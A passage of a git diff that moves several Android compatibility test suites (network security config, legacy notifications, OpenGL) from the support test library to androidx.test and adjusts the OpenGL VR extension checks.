--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
+    ctstestrunner-axt \
     ctstestserver
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
index c6b65c0..2a11085 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
@@ -25,7 +25,7 @@
       <uses-library android:name="org.apache.http.legacy" />
   </application>
 
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.netsecpolicy.usescleartext.unspecified.cts"
                    android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is not specified.">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/manifest.xml b/tests/tests/networksecurityconfig/manifest.xml
index 0c1e85d..2950baf 100644
--- a/tests/tests/networksecurityconfig/manifest.xml
+++ b/tests/tests/networksecurityconfig/manifest.xml
@@ -25,7 +25,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
index 4af2de7..849aff5 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
index 972052e..79de309 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidManifest.xml
@@ -24,7 +24,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts.CtsNetSecConfigAttributeTestCases"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
index 95e14ef..6aeca33 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
index 3e5fe25..ff685bb 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidManifest.xml
@@ -24,7 +24,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts.CtsNetSecConfigBasicDomainConfigTestCases"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
index 6dc6c5d..b6624d5 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
index bec926e..0607b77d 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
@@ -24,7 +24,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
index 278d634..5506fba 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
index 8ee5482..22cbc99 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
@@ -24,7 +24,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts.CtsNetSecConfigCleartextTrafficTestCases"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
index fd5f419..3a12e34 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
index 28bba5b..7587bab 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
@@ -25,7 +25,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts.CtsNetSecConfigBasicDebugDisabledTestCases"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
index d808928..f78be24 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
index b667271..0f68a6f 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
@@ -25,7 +25,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts.CtsNetSecConfigBasicDebugEnabledTestCases"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index 4a40d2a..607e8a1 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -21,8 +21,8 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    android-support-test
+    ctstestrunner-axt \
+    androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
index cc67cca..756c0ed 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
@@ -24,7 +24,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts.CtsNetSecConfigDownloadManagerTestCases"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
index 3d66c53..0898ddb 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
index bf6e369..4f515e4 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
@@ -24,7 +24,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts.CtsNetSecConfigInvalidPinTestCases"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
index e96ae6a..50a579e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
index 75247d3..29b0784 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
@@ -24,7 +24,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts.CtsNetSecConfigNestedDomainConfigTestCases"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index 48bbfaf..8feb069 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -21,8 +21,8 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    android-support-test
+    ctstestrunner-axt \
+    androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := \
     org.apache.http.legacy \
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
index 4884458..387d8f7 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
@@ -24,7 +24,7 @@
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.security.net.config.cts.CtsNetSecConfigResourcesSrcTestCases"
                    android:label="">
         <meta-data android:name="listener"
diff --git a/tests/tests/notificationlegacy/Android.mk b/tests/tests/notificationlegacy/Android.mk
index c1fb3fa..2dd70aa5 100644
--- a/tests/tests/notificationlegacy/Android.mk
+++ b/tests/tests/notificationlegacy/Android.mk
@@ -19,7 +19,7 @@
 LOCAL_PACKAGE_NAME := CtsLegacyNotificationTestCases
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 # don't include this package in any target
 LOCAL_MODULE_TAGS := optional
@@ -30,8 +30,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    android-support-test \
+    ctstestrunner-axt \
+    androidx.test.rules \
     junit
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/AndroidManifest.xml
index 7b55bc8..634910e 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/AndroidManifest.xml
@@ -32,7 +32,7 @@
         </service>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.app.notification.legacy.cts"
                      android:label="CTS tests for legacy notification behavior">
         <meta-data android:name="listener"
diff --git a/tests/tests/notificationlegacy/AndroidTest.xml b/tests/tests/notificationlegacy/AndroidTest.xml
new file mode 100644
index 0000000..690766c
--- /dev/null
+++ b/tests/tests/notificationlegacy/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Notification legacy test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLegacyNotificationTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+        <option name="package" value="android.app.notification.legacy.cts" />
+        <option name="runtime-hint" value="1m0s" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index 69103c8..ce960a6 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -16,7 +16,6 @@
 
 package android.app.notification.legacy.cts;
 
-import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_AMBIENT;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_FULL_SCREEN_INTENT;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_LIGHTS;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_NOTIFICATION_LIST;
@@ -39,10 +38,9 @@
 import android.content.Intent;
 import android.os.ParcelFileDescriptor;
 import android.provider.Telephony.Threads;
-import android.service.notification.NotificationListenerService;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import junit.framework.Assert;
 
diff --git a/tests/tests/opengl/Android.mk b/tests/tests/opengl/Android.mk
index 03d6083..0b75847 100644
--- a/tests/tests/opengl/Android.mk
+++ b/tests/tests/opengl/Android.mk
@@ -29,7 +29,7 @@
 
 LOCAL_JNI_SHARED_LIBRARIES := libopengltest_jni
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/opengl/AndroidManifest.xml b/tests/tests/opengl/AndroidManifest.xml
index c16f25a..7b645aa 100644
--- a/tests/tests/opengl/AndroidManifest.xml
+++ b/tests/tests/opengl/AndroidManifest.xml
@@ -21,7 +21,7 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-feature android:glEsVersion="0x00020000"/>
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.opengl.cts" >
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
index 8d596b4..80aaf00 100644
--- a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
@@ -16,14 +16,6 @@
 
 package android.opengl.cts;
 
-import android.support.test.filters.SmallTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.BlockJUnit4ClassRunner;
-
-import java.nio.Buffer;
-import java.nio.ByteBuffer;
-
 import static android.opengl.GLES30.GL_BUFFER_MAP_POINTER;
 import static android.opengl.GLES30.GL_DYNAMIC_READ;
 import static android.opengl.GLES30.GL_MAP_READ_BIT;
@@ -35,9 +27,19 @@
 import static android.opengl.GLES30.glGetBufferPointerv;
 import static android.opengl.GLES30.glMapBufferRange;
 import static android.opengl.GLES30.glUnmapBuffer;
+
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.BlockJUnit4ClassRunner;
+
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+
 /**
  * Tests for functions that return a ByteBuffer.
  */
diff --git a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java
index 137c8d4..255c55d 100644
--- a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Ignore;
 import org.junit.Rule;
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
index 95ed618..3e5565e 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
@@ -20,10 +20,11 @@
 
 import android.app.Instrumentation;
 import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java b/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java
index 3cfd2d5..81bbcf2 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglContextTest.java
@@ -19,8 +19,9 @@
 import android.opengl.EGL14;
 import android.opengl.EGLContext;
 import android.opengl.EGLDisplay;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java b/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java
index c909eeb..3030052 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglSurfacesTest.java
@@ -16,9 +16,13 @@
 
 package android.opengl.cts;
 
+import static junit.framework.Assert.fail;
+
 import android.opengl.EGL14;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -27,8 +31,6 @@
 import javax.microedition.khronos.egl.EGLContext;
 import javax.microedition.khronos.egl.EGLDisplay;
 
-import static junit.framework.Assert.fail;
-
 /**
  * Tests using EGL surfaces.
  */
diff --git a/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java b/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java
index 54547bd..e9dc456 100644
--- a/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/GLSurfaceViewTest.java
@@ -17,12 +17,13 @@
 package android.opengl.cts;
 
 import android.opengl.GLSurfaceView;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
index b8f334d..7ba9435 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
@@ -26,11 +26,13 @@
 import android.content.pm.ConfigurationInfo;
 import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import android.content.res.Configuration;
 import android.util.Log;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CddTest;
 
 import org.junit.Before;
@@ -171,21 +173,32 @@
         if (!supportsVrHighPerformance())
             return;
         restartActivityWithClientVersion(3);
+        final boolean isVrHeadset = (mActivity.getResources().getConfiguration().uiMode
+            & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
 
         String extensions = mActivity.getExtensionsString();
         final String requiredList[] = {
-            "GL_EXT_EGL_image_array",
-            "GL_EXT_external_buffer",
-            "GL_EXT_multisampled_render_to_texture2",
+            "GL_EXT_multisampled_render_to_texture",
             "GL_EXT_protected_textures",
             "GL_OVR_multiview",
             "GL_OVR_multiview2",
             "GL_OVR_multiview_multisampled_render_to_texture",
         };
+        final String vrHeadsetRequiredList[] = {
+            "GL_EXT_EGL_image_array",
+            "GL_EXT_external_buffer",
+            "GL_EXT_multisampled_render_to_texture2",
+        };
 
-        for (int i = 0; i < requiredList.length; ++i) {
-            assertTrue("Required extension for VR high-performance is missing: " + requiredList[i],
-                    hasExtension(extensions, requiredList[i]));
+        for (String requiredExtension : requiredList) {
+            assertTrue("Required extension for VR high-performance is missing: " + requiredExtension,
+                    hasExtension(extensions, requiredExtension));
+        }
+        if (isVrHeadset) {
+            for (String requiredExtension : vrHeadsetRequiredList) {
+                assertTrue("Required extension for VR high-performance is missing: " + requiredExtension,
+                        hasExtension(extensions, requiredExtension));
+            }
         }
 
         EGL10 egl = (EGL10) EGLContext.getEGL();
@@ -194,17 +207,25 @@
         final String requiredEglList[] = {
             "EGL_ANDROID_front_buffer_auto_refresh",
             "EGL_ANDROID_get_native_client_buffer",
-            "EGL_EXT_image_gl_colorspace",
             "EGL_EXT_protected_content",
